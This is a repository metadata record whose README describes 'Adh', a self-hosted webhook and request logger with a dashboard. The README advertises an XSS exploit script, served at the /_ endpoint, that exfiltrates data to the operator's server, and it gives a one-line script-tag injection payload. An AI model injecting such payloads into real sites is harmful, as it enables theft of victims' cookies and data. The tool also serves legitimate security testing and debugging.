{"id":26614445,"url":"https://github.com/akiidjk/adh","last_synced_at":"2026-05-04T03:37:05.809Z","repository":{"id":284052976,"uuid":"953669870","full_name":"akiidjk/adh","owner":"akiidjk","description":"This project is nothing innovative or groundbreaking. I just wanted to create my own webhook to deploy on a VPS, avoiding dependencies on tools like webhook.site, localtunnel, ngrok, or other similar services. It is fully customizable, and you can use it for various purposes like logging, request handling, or data collection.","archived":false,"fork":false,"pushed_at":"2026-03-08T18:41:42.000Z","size":2740,"stargazers_count":3,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2026-03-08T22:50:13.178Z","etag":null,"topics":["golang","http","nextjs","webhook"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/akiidjk.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-03-23T21:46:14.000Z","updated_at":"2026-03-08T18:41:45.000Z","dependencies_parsed_at":null,"dependency_job_id":"c9b34536-5131-4819-b983-b5ee082795bf","html_url":"https://github.com/akiidjk/adh","commit_stats":null,"previous_names":["akiidjk/adh"],"tags_count":2,"template":false,"template_full_name":null,"purl":"pkg:github/akiidjk/adh","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/akiidjk%2Fadh","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/akiidjk%2Fadh/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/akiidjk%2Fadh/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/akiidjk%2Fadh/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/akiidjk","download_url":"https://codeload.github.com/akiidjk/adh/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/akiidjk%2Fadh/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":32593945,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-03T22:12:39.696Z","status":"online","status_checked_at":"2026-05-04T02:00:06.625Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["golang","http","nextjs","webhook"],"created_at":"2025-03-24T05:19:44.887Z","updated_at":"2026-05-04T03:37:05.804Z","avatar_url":"https://github.com/akiidjk.png","language":"TypeScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Adh (Advanced Detailed Hook)\n\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"images/logo-light.png\" alt=\"Adh Logo\" /\u003e\n\u003c/p\u003e\n\nThis project was born from the need to have a personal and fully customizable webhook service to deploy on a VPS, without relying on external tools like webhook.site, localtunnel, ngrok, or similar services.\nIt offers flexibility for a wide range of use cases, such as request logging, payload inspection, or data collection, making it a versatile tool for developers and cybersecurity professionals alike.\n\n### 🧩 Overview\n\nThe core of this project is a simple webhook server that listens for incoming HTTP requests, logs the relevant information, and stores request data in Redis. It is built with Go for the backend and uses Redis for storage. The project aims to be lightweight, flexible, and simple to set up, but with room for expansion (such as adding a dashboard).\n\n![img](images/adh-schema.png)\n\n### 🚀 Features\n\n- **Data Logging**: Logs requests including headers, cookies, body content, and user agent.\n- **Redis Integration**: Store incoming request data in Redis, making it easy to scale or manage.\n- **XSS Exploit Script**: Serve a simple exploit script for XSS attacks (stealed from xss.report).\n- **High customizability**: Customize the server to fit your needs.\n- **Search Bar Support**: Add a search bar for requests with ***RedisSearch syntax***.\n- **New page creator**: Create dynamic endpoints and custom pages for specific needs.\n\n### 📊 Dashboard\n\nBelow are some screenshots of the dashboard:\n\n| ![Dashboard1](images/adh-dashboard-1.png) | ![Dashboard2](images/adh-dashboard-2.png) |\n|-------------------------------------------|-------------------------------------------|\n| ![Dashboard3](images/adh-dashboard-3.png) | ![Dashboard4](images/adh-dashboard-4.png) |\n\n\n### ⚙️ Installation\n\nTo get started with the Adh, follow the steps below:\n\n#### Prerequisites\n\n- A machine exposed to the Internet (this tool is not a tunnelling solution such as ngrok or Localtunnel).\n- Docker and Docker Compose installed on your machine.\n\n#### Clone the Repository\n\n```bash\ngit clone https://github.com/akiidjk/adh.git\ncd adh\n```\n\n#### Set Up Docker Containers\n\n1. Copy the .env.example file to .env and customize the environment variables as needed:\n\n```bash\ncp .env.example .env\n```\n\n2. Now you can build and start your containers with:\n\n```bash\ndocker-compose up --build -d\n```\n\n#### Access the Webhook\n\nOnce the containers are running, you can access your webhook on:\n\n```\nhttp://localhost:8000\n```\n\nThe server will now be accepting requests on the specified port (8000 by default).\n\n#### Access the Dashboard\n\nOnce the containers are running, you can access your dashboard on:\n\n```\nhttp://localhost:3000\n```\n\nThe dashboard will allow you to view all requests.\n\n### 🛠 Configuration\n\nThe following environment variables are available for customization:\n\n- **LOG_LEVEL**: Log level for the application. Options are `debug`, `info`, `warn`, `error`. Defaults to `info`.\n- **WEBHOOK_PORT**: Port for the webhook server. Defaults to `8000`.\n- **DASHBOARD_PORT**: Port for the dashboard server. Defaults to `3000`.\n- **SECRET_KEY**: Secret key for the application. Set this to a secure value.\n- **REDIS_ADDR**: Address of the Redis server. Defaults to `redis` (for Docker) or `localhost`.\n- **REDIS_PORT**: Port for the Redis server. Defaults to `6379`.\n- **REDIS_PASSWORD**: Password for the Redis server. Set this to a secure value.\n- **REDIS_URL**: Full Redis connection URL. Example: `redis://:secure_password@redis:6379/0`\n- **USER_ID**: User ID for the frontend/dashboard. Defaults to `0`.\n- **USER_NAME**: Username for the frontend/dashboard. Defaults to `akiidjk`.\n- **USER_PASSWORD**: Password for the frontend/dashboard. Set this to a secure value.\n\n### 🔍 Health Check\n\nA background goroutine regularly pings Redis to ensure availability, reporting status via an internal channel. The check interval is configurable.\n\n### 📁 Log Storage\n\nThe application saves all logs to a folder on your host machine. The logs are stored in the `./adh-webhook/logs` directory on your host system, ensuring that the logs persist even when the container is restarted or destroyed. This is done via Docker bind mounts, which map the `./adh-webhook/logs` folder on your local machine to `/tmp/webhook` in the container.\n\n### 🧪  Example Request\n\nTry sending a POST request:\n\n```bash\ncurl -X POST http://localhost:8000 -H \"Content-Type: application/json\" -d '{\"key\":\"value\"}'\n```\n\n### 🐛  XSS Script\n\nAvailable at the /_ endpoint, Adh serves a JavaScript snippet (inspired by xss.report) that exfiltrates data via a request to your server.\n\nExample payload:\n\n```js\n\u003cscript src=\"http://localhost:8000/_\"\u003e\u003c/script\u003e\n```\n\nCustomize the domain in the script if running Adh on a different host.\n\n\u003e [!TIP]\n\u003e Now you can also create CUSTOM pages, go to `/creator` to create your own page!\n\n\n### 📌 To-Do\n\n- [x] **Dashboard**: The current project lacks a UI dashboard to visualize requests and data. This will be added in the future.\n- [x] **Authentication**: Implement an authentication mechanism to restrict access to the webhook dashboard.\n- [x] Fix http problem with Docker\n- [x] Implement rate limiting to prevent abuse\n- [x] Add logout button\n- [x] Add search bar for requests\n- [x] Add clear button\n- [x] New creator page for dynamic endpoints\n\n### 🤝 Contributing\n\nPull requests, issues, and forks are welcome! If you have an idea or fix, feel free to contribute.\n\n### 📝 License\n\nLicensed under the MIT License — see the [LICENSE](LICENSE) file for details.\n\n### 📎 Conclusion\n\nAdh is a self-hosted, fast, and flexible solution for managing and inspecting HTTP requests in real time. Whether you're debugging, collecting data, or simulating attacks, Adh is ready to be tailored to your workflow.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fakiidjk%2Fadh","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fakiidjk%2Fadh","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fakiidjk%2Fadh/lists"}